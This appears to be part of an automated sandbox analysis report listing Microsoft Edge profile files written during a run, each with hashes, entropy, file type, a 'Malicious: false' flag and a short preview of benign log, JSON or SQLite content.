SSDEEP:	3:MsEllllkEthXllkl2zE:/M/xT02z
MD5:	F50F89A0A91564D0B8A211F8921AA7DE
SHA1:	112403A17DD69D5B9018B8CEDE023CB3B54EAB7D
SHA-256:	B1E963D702392FB7224786E7D56D43973E9B9EFD1B89C17814D7C558FFC0CDEC
SHA-512:	BF8CDA48CF1EC4E73F0DD1D4FA5562AF1836120214EDB74957430CD3E4A2783E801FA3F4ED2AFB375257CAEED4ABE958265237D6E0AACF35A9EDE7A2E8898D58
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\GPUCache\data_1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	270336
Entropy (8bit):	0.0012471779557650352
Encrypted:	false
SSDEEP:	3:MsEllllkEthXllkl2zE:/M/xT02z
MD5:	F50F89A0A91564D0B8A211F8921AA7DE
SHA1:	112403A17DD69D5B9018B8CEDE023CB3B54EAB7D
SHA-256:	B1E963D702392FB7224786E7D56D43973E9B9EFD1B89C17814D7C558FFC0CDEC
SHA-512:	BF8CDA48CF1EC4E73F0DD1D4FA5562AF1836120214EDB74957430CD3E4A2783E801FA3F4ED2AFB375257CAEED4ABE958265237D6E0AACF35A9EDE7A2E8898D58
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	438
Entropy (8bit):	5.247520617552595
Encrypted:	false
SSDEEP:	12:c4vVaYebvqBQFUt8MJ/++D5OaYebvqBvJ:cKVaYebvZg8MjVOaYebvk
MD5:	741ED6D03042EA183737956A416F3816
SHA1:	C9877C6053042935A6C036BDCEAE975838A261DE
SHA-256:	6B765C9992B95CF9D7C6C5F15BC9708950C10378203AB825176C3230250237A9
SHA-512:	525D5D9E51BBC5C117485F774D967B6FBC110EE47B4BAA96385D3F84D9BF307F3394EA82B3F781F0EF048F8802935F0B805428B71C22C03CDD158A96450DBB41
Malicious:	false
Preview:	2024/11/16-19:38:36.907 18b0 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb/MANIFEST-000001.2024/11/16-19:38:36.911 18b0 Recovering log #3.2024/11/16-19:38:36.926 18b0 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	438
Entropy (8bit):	5.247520617552595
Encrypted:	false
SSDEEP:	12:c4vVaYebvqBQFUt8MJ/++D5OaYebvqBvJ:cKVaYebvZg8MjVOaYebvk
MD5:	741ED6D03042EA183737956A416F3816
SHA1:	C9877C6053042935A6C036BDCEAE975838A261DE
SHA-256:	6B765C9992B95CF9D7C6C5F15BC9708950C10378203AB825176C3230250237A9
SHA-512:	525D5D9E51BBC5C117485F774D967B6FBC110EE47B4BAA96385D3F84D9BF307F3394EA82B3F781F0EF048F8802935F0B805428B71C22C03CDD158A96450DBB41
Malicious:	false
Preview:	2024/11/16-19:38:36.907 18b0 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb/MANIFEST-000001.2024/11/16-19:38:36.911 18b0 Recovering log #3.2024/11/16-19:38:36.926 18b0 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\18b02ebe-6a0c-40ab-bcc2-0f1650b8678f.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	111
Entropy (8bit):	4.718418993774295
Encrypted:	false
SSDEEP:	3:YLb9N+eAXRfHDH2LS7PMVKJq0nMb1KKtiVY:YHpoeS7PMVKJTnMRK3VY
MD5:	285252A2F6327D41EAB203DC2F402C67
SHA1:	ACEDB7BA5FBC3CE914A8BF386A6F72CA7BAA33C6
SHA-256:	5DFC321417FC31359F23320EA68014EBFD793C5BBED55F77DAB4180BBD4A2026
SHA-512:	11CE7CB484FEE66894E63C31DB0D6B7EF66AD0327D4E7E2EB85F3BCC2E836A3A522C68D681E84542E471E54F765E091EFE1EE4065641B0299B15613EB32DCC0D
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[],"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\1beef460-28d1-4b55-a3f8-77fdf1709fef.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\96d1db81-a34a-4752-bd16-6a3538dcf58e.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	111
Entropy (8bit):	4.718418993774295
Encrypted:	false
SSDEEP:	3:YLb9N+eAXRfHDH2LS7PMVKJq0nMb1KKqk1Yn:YHpoeS7PMVKJTnMRKXk1Yn
MD5:	807419CA9A4734FEAF8D8563A003B048
SHA1:	A723C7D60A65886FFA068711F1E900CCC85922A6
SHA-256:	AA10BF07B0D265BED28F2A475F3564D8DDB5E4D4FFEE0AB6F3A0CC564907B631
SHA-512:	F10D496AE75DB5BA412BD9F17BF0C7DA7632DB92A3FABF7F24071E40F5759C6A875AD8F3A72BAD149DA58B3DA3B816077DF125D0D9F3544ADBA68C66353D206C
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[],"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"3G"}}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\9acf6365-c845-4094-b467-01e5ff804b92.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\9bc3f94b-25e1-4b90-9423-e3cb4b01846e.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	111
Entropy (8bit):	4.718418993774295
Encrypted:	false
SSDEEP:	3:YLb9N+eAXRfHDH2LS7PMVKJq0nMb1KKqk1Yn:YHpoeS7PMVKJTnMRKXk1Yn
MD5:	807419CA9A4734FEAF8D8563A003B048
SHA1:	A723C7D60A65886FFA068711F1E900CCC85922A6
SHA-256:	AA10BF07B0D265BED28F2A475F3564D8DDB5E4D4FFEE0AB6F3A0CC564907B631
SHA-512:	F10D496AE75DB5BA412BD9F17BF0C7DA7632DB92A3FABF7F24071E40F5759C6A875AD8F3A72BAD149DA58B3DA3B816077DF125D0D9F3544ADBA68C66353D206C
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[],"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"3G"}}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\Network Persistent State~RF4368d.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	111
Entropy (8bit):	4.718418993774295
Encrypted:	false
SSDEEP:	3:YLb9N+eAXRfHDH2LS7PMVKJq0nMb1KKqk1Yn:YHpoeS7PMVKJTnMRKXk1Yn
MD5:	807419CA9A4734FEAF8D8563A003B048
SHA1:	A723C7D60A65886FFA068711F1E900CCC85922A6
SHA-256:	AA10BF07B0D265BED28F2A475F3564D8DDB5E4D4FFEE0AB6F3A0CC564907B631
SHA-512:	F10D496AE75DB5BA412BD9F17BF0C7DA7632DB92A3FABF7F24071E40F5759C6A875AD8F3A72BAD149DA58B3DA3B816077DF125D0D9F3544ADBA68C66353D206C
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[],"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"3G"}}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\SCT Auditing Pending Reports (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\SCT Auditing Pending Reports~RF3de7a.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\Sdch Dictionaries (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\Trust Tokens

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 4, database pages 9, cookie 0x7, schema 4, UTF-8, version-valid-for 4
Category:	dropped
Size (bytes):	36864
Entropy (8bit):	0.3886039372934488
Encrypted:	false
SSDEEP:	24:TLqEeWOT/kIAoDJ84l5lDlnDMlRlyKDtM6UwccWfp15fBIe:T2EeWOT/nDtX5nDOvyKDhU1cSB
MD5:	DEA619BA33775B1BAEEC7B32110CB3BD
SHA1:	949B8246021D004B2E772742D34B2FC8863E1AAA
SHA-256:	3669D76771207A121594B439280A67E3A6B1CBAE8CE67A42C8312D33BA18854B
SHA-512:	7B9741E0339B30D73FACD4670A9898147BE62B8F063A59736AFDDC83D3F03B61349828F2AE88F682D42C177AE37E18349FD41654AEBA50DDF10CD6DC70FA5879
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...}.....$.X..............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	80
Entropy (8bit):	3.4921535629071894
Encrypted:	false
SSDEEP:	3:S8ltHlS+QUl1ASEGhTFljl:S85aEFljl
MD5:	69449520FD9C139C534E2970342C6BD8
SHA1:	230FE369A09DEF748F8CC23AD70FD19ED8D1B885
SHA-256:	3F2E9648DFDB2DDB8E9D607E8802FEF05AFA447E17733DD3FD6D933E7CA49277
SHA-512:	EA34C39AEA13B281A6067DE20AD0CDA84135E70C97DB3CDD59E25E6536B19F7781E5FC0CA4A11C3618D43FC3BD3FBC120DD5C1C47821A248B8AD351F9F4E6367
Malicious:	false
Preview:	*...#................version.1..namespace-..&f.................&f...............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	426
Entropy (8bit):	5.259226405948333
Encrypted:	false
SSDEEP:	12:U8+vVaYebvqBZFUt8ab/+E3V5OaYebvqBaJ:UtVaYebvyg8abXOaYebvL
MD5:	C0E6AC792A0F69520A2B258979300FC8
SHA1:	A90773E8013BD2D20E60DC6022383BA727A2B7E8
SHA-256:	3C88CE6F8C7F155E350ABC135BE431DDA3F89961BBFD6BF2E05E477D132E682E
SHA-512:	1E8E870FE598B4CD81DBFE05FEE92502386F04BA24A956890879DC59EE2C891781D9CCAD059016D7ADE008D5CFCF97A856451F678E2DB11C12BA149C1134B63F
Malicious:	false
Preview:	2024/11/16-19:38:53.720 1d2c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage/MANIFEST-000001.2024/11/16-19:38:53.722 1d2c Recovering log #3.2024/11/16-19:38:53.731 1d2c Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	426
Entropy (8bit):	5.259226405948333
Encrypted:	false
SSDEEP:	12:U8+vVaYebvqBZFUt8ab/+E3V5OaYebvqBaJ:UtVaYebvyg8abXOaYebvL
MD5:	C0E6AC792A0F69520A2B258979300FC8
SHA1:	A90773E8013BD2D20E60DC6022383BA727A2B7E8
SHA-256:	3C88CE6F8C7F155E350ABC135BE431DDA3F89961BBFD6BF2E05E477D132E682E
SHA-512:	1E8E870FE598B4CD81DBFE05FEE92502386F04BA24A956890879DC59EE2C891781D9CCAD059016D7ADE008D5CFCF97A856451F678E2DB11C12BA149C1134B63F
Malicious:	false
Preview:	2024/11/16-19:38:53.720 1d2c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage/MANIFEST-000001.2024/11/16-19:38:53.722 1d2c Recovering log #3.2024/11/16-19:38:53.731 1d2c Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	332
Entropy (8bit):	5.234263502290207
Encrypted:	false
SSDEEP:	6:HUJq2PN723oH+TcwtpIFUt8YUzdZmw+YUzvkwON723oH+Tcwta/WLJ:MvVaYebmFUt8r/+h5OaYebaUJ
MD5:	6CDC52AC6462D69553A6ED48F32F6F2A
SHA1:	6174A7F066918BEE48A134F68D15D494A81666B1
SHA-256:	164CCBF0449649FA642916E920E3B32E30FE3419131171A2CAB1A59672F8925D
SHA-512:	713154A253238BBECA074612F418D4C6AE5820E3380FC9671DE1719EFCBE7F6BFE0BE748200ADF9D6F6640A3F21F44E7F2D11FC53316923CC1D4BE0541A99D89
Malicious:	false
Preview:	2024/11/16-19:38:36.261 1fb4 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB/MANIFEST-000001.2024/11/16-19:38:36.262 1fb4 Recovering log #3.2024/11/16-19:38:36.262 1fb4 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	332
Entropy (8bit):	5.234263502290207
Encrypted:	false
SSDEEP:	6:HUJq2PN723oH+TcwtpIFUt8YUzdZmw+YUzvkwON723oH+Tcwta/WLJ:MvVaYebmFUt8r/+h5OaYebaUJ
MD5:	6CDC52AC6462D69553A6ED48F32F6F2A
SHA1:	6174A7F066918BEE48A134F68D15D494A81666B1
SHA-256:	164CCBF0449649FA642916E920E3B32E30FE3419131171A2CAB1A59672F8925D
SHA-512:	713154A253238BBECA074612F418D4C6AE5820E3380FC9671DE1719EFCBE7F6BFE0BE748200ADF9D6F6640A3F21F44E7F2D11FC53316923CC1D4BE0541A99D89
Malicious:	false
Preview:	2024/11/16-19:38:36.261 1fb4 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB/MANIFEST-000001.2024/11/16-19:38:36.262 1fb4 Recovering log #3.2024/11/16-19:38:36.262 1fb4 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Web Data

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 10, database pages 91, cookie 0x37, schema 4, UTF-8, version-valid-for 10
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.267666143571798
Encrypted:	false
SSDEEP:	384:L/2qOB1nxCkMvSA1LyKOMq+8iP5GDHP/0jMVumv:Kq+n0Jv91LyKOMq+8iP5GLP/0S
MD5:	309F48A68BA6FF12CE39B47196AB663E
SHA1:	0F2CBBE94547F365F6EE8E2E340473815A52B086
SHA-256:	99D60A3123E04021D5D9932FBAAFE7929187040E2B097CB634619F76EF1EE4D0
SHA-512:	93A028B094478715B268542DCAC39D779FCE99D527C9878CADE558E8C09773FAE8079296CF3BE3DB0227639BF4A58E7D66770B382C630C13746C04D5FFBFA0A7
Malicious:	false
Preview:	SQLite format 3......@ .......[...........7......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\WebStorage\QuotaManager

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 10, cookie 0x7, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.46646315503567076
Encrypted:	false
SSDEEP:	48:Tnj7dojKsKmjKZKAsjZNOjAhts3N8g1j3UcB06z/F:v7doKsKuKZKlZNmu46yjx0aF
MD5:	C2B7710B886BCCEAAB1CBC81C020923E
SHA1:	0DFD5391599C5A5B6973B5AA17ECFF7F20448A6A
SHA-256:	4CD8A0D33584B42E4CCE72A76B68D9C2083DBA734351CD9CA873D7DF07B82367
SHA-512:	7A49449E97DA2A79B59921A9A3A1A2AC2E79E0B6ABED0C323201C21282435F4EED28F7A0CAC83BA008F9FBCA3ED31A0C1FB1660B715586ABC324B369FF21C161
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.......w..g...........M...w..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\a6da5187-695d-4bab-95fb-b539a09a7155.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (16962), with no line terminators
Category:	dropped
Size (bytes):	16966
Entropy (8bit):	5.447738905920795
Encrypted:	false
SSDEEP:	384:stLPGQSu4GsvVACDo+bfhIibG1F97QwL63i:stOXuSVACs4bGOri
MD5:	EDE10DC865B6CCE7315A0B06C232DF6E
SHA1:	1C6C71AF1B1EC78EE52D72D1409A73B9A316C0A7
SHA-256:	8791B6DE4190601E9C301037E4B24D48C106E4D8380E1FDCB929D4978B84E93A
SHA-512:	5B753CBC72D01F094863F839C8079B733B25CEC60AD5C8D7DF60C58B5C212A54A22BFC34621E3FE575656F8368172C8181BA2E5265F74F56ED94FAC5FFC7B8B6
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13376277516731996","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340961151815957","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\aafb58d9-deb2-4e03-a6f6-1a12c605fc50.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (16962), with no line terminators
Category:	dropped
Size (bytes):	16966
Entropy (8bit):	5.44770558520663
Encrypted:	false
SSDEEP:	384:stLPGQSu4GsvVACDo+bfhIibG1F97QwLu3i:stOXuSVACs4bGOHi
MD5:	461D69A8AA35F1D60181E7EF1385EB04
SHA1:	13F101959674A6B2A5ADF274B7DCB398B5D2C0F4
SHA-256:	21102A62ED58A0085E00A9DEE77D0F5C5743E2B011FFDC484D5B45594F4DD60D
SHA-512:	3083CD0F4D5E662F9DE6386557F94882E6BC428F16232FAC1108974C3AB6C26B67C20B36EABB35C06FA6F4FCEF89E93F355C0DC95E441E8BA573A1B0FB79E97B
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13376277516731996","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340961151815957","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\arbitration_service_config.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (3951), with CRLF line terminators
Category:	dropped
Size (bytes):	11755
Entropy (8bit):	5.190465908239046
Encrypted:	false
SSDEEP:	192:hH4vrmqRBB4W4PoiUDNaxvR5FCHFcoaSbqGEDI:hH4vrmUB6W4jR3GaSbqGEDI
MD5:	07301A857C41B5854E6F84CA00B81EA0
SHA1:	7441FC1018508FF4F3DBAA139A21634C08ED979C
SHA-256:	2343C541E095E1D5F202E8D2A0807113E69E1969AF8E15E3644C51DB0BF33FBF
SHA-512:	00ADE38E9D2F07C64648202F1D5F18A2DFB2781C0517EAEBCD567D8A77DBB7CB40A58B7C7D4EC03336A63A20D2E11DD64448F020C6FF72F06CA870AA2B4765E0
Malicious:	false
